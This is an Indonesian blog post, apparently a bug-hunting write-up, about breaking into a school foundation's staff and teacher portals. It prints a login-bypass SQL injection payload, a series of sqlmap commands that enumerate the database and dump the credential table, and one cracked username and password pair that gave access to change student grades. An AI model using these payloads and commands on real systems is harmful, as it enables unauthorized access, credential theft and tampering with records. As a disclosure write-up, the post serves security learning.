Kategori
IT Pentesting Security

Bermodalkan SQL Injection, berhasil menjadi “Guru” di salah satu Yayasan Pendidikan

Kegiatan bug hunting ini sudah lama sekali saya lakukan sekitar tahun 2019, dimana targetnya adalah yayasan pendidikan –redacted–. Di artikel ini akan saya jabarkan bagaimana dengan modal SQL Injection saya bisa masuk ke dashboard sebagai guru dan punya akses full untuk merubah nilai-nilai siswa.

Pada awalnya saya membuka halawan login pegawai yang beralamat di http://–redacted–.–redacted–.sch.id/, kemudian saya mencoba untuk memasukkan payload SQL Injection sebagai berikut :

' or 1=1 limit 1 -- -+

payload tersebut dimasukkan di kolom username dan menggunakan sembarang password. Ternyata payload tersebut bisa digunakan untuk bypass halaman login sehingga bisa masuk ke halaman Portal Pegawai.

Gambar 1. Portal Pegawai

Kemudian saya mengambil kesimpulan bahwa website tersebut ternyata mempunyai SQL Injection Vulnerability dan saya mencoba eksplorasi lebih lanjut menggunakan tool SQLmap dengan command berikut untuk mendapatkan list nama database yang ada di server :

./sqlmap.py -u "http://--redacted--.--redacted--.sch.id/index.php/login/auth" --data "username=test&password=test&login=Login" -p "username" --random-agent --level 1 --risk 1 --tamper=between,space2comment --dbms=MySQL --dbs
Gambar 2. List Database

Saya menemukan nama database yang menarik,yaitu jbsuser kemudian saya mencoba melakukan enumerasi table pada database tersebut menggunakan tool SQLmap dengan command berikut dan hasilnya didapat 10 tables :

./sqlmap.py -u "http://--redacted--.--redacted--.sch.id/index.php/login/auth" --data "username=test&password=test&login=Login" -p "username" --random-agent --level 1 --risk 1 --tamper=between,space2comment --dbms=MySQL -D jbsuser --tables
Gambar 3. Enumerasi Daftar Tabel

Terdapat nama table yang menarik, yaitu table login. Saya kemudian mencoba melakukan enumerasi columns yang ada pada table login tersebut menggunakan tool SQLmap dengan command berikut dan didapatkan 5 buah columns :

./sqlmap.py -u "http://--redacted--.--redacted--.sch.id/index.php/login/auth" --data "username=test&password=test&login=Login" -p "username" --random-agent --level 1 --risk 1 --tamper=between,space2comment --dbms=MySQL -D jbsuser -T login --columns
Gambar 4. Enumerasi Isi Tabel

Hasil enumerasi columns tersebut kemudian saya lanjutkan ke proses enumerasi isi columns dimana columns yang ingin saya lihat isinya adalah login dan password dengan menggunakan tool SQLmap dengan command berikut dan hasilnya didapat kredensial berupa data login dan password yang berbentuk MD5 hash. Karena masih ingin eksplorasi lebih jauh saya mencoba melakukan cracking terhadap MD5 hash tersebut menggunakan dictionary bawaan tool SQLmap dan hasilnya, sebagian besar MD5 hash tersebut bisa di crack yang mana ini juga menunjukkan bahwa kekuatan password yang digunakan sangat lemah sehingga dapat dengan mudah di tebak :

./sqlmap.py -u "http://--redacted--.--redacted--.sch.id/index.php/login/auth" --data "username=test&password=test&login=Login" -p "username" --random-agent --level 1 --risk 1 --tamper=between,space2comment --dbms=MySQL -D jbsuser -T login -C login,password --dump
Gambar 5. Crack Password

Kemudian saya mencoba web lain yang masih berada di domain yang sama yaitu http://–redacted–.–redacted–.sch.id/aplikasi/infoguru/ dimana web tersebut merupakan portal guru untuk mengatur nilai siswa, saya mencoba login menggunakan salah satu kredensial yang didapat sebelumnya dari proses cracking, yaitu “020030” dengan password “gaktau” dan hasilnya saya bisa login ke portal guru tersebut dan merubah nilai-nilai siswa di dalamnya.

Gambar 6. Berhasil Masuk ke Portal Guru

Bug tersebut sudah saya laporkan agar bisa cepat ditangani untuk mencegah hal-hal yang tidak diinginkan, walaupun sama sekali tidak ada respon dari admin yang bertanggung-jawab paling tidak sudah bisa membantu perbaikan sistem yayasan pendidikan tersebut.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *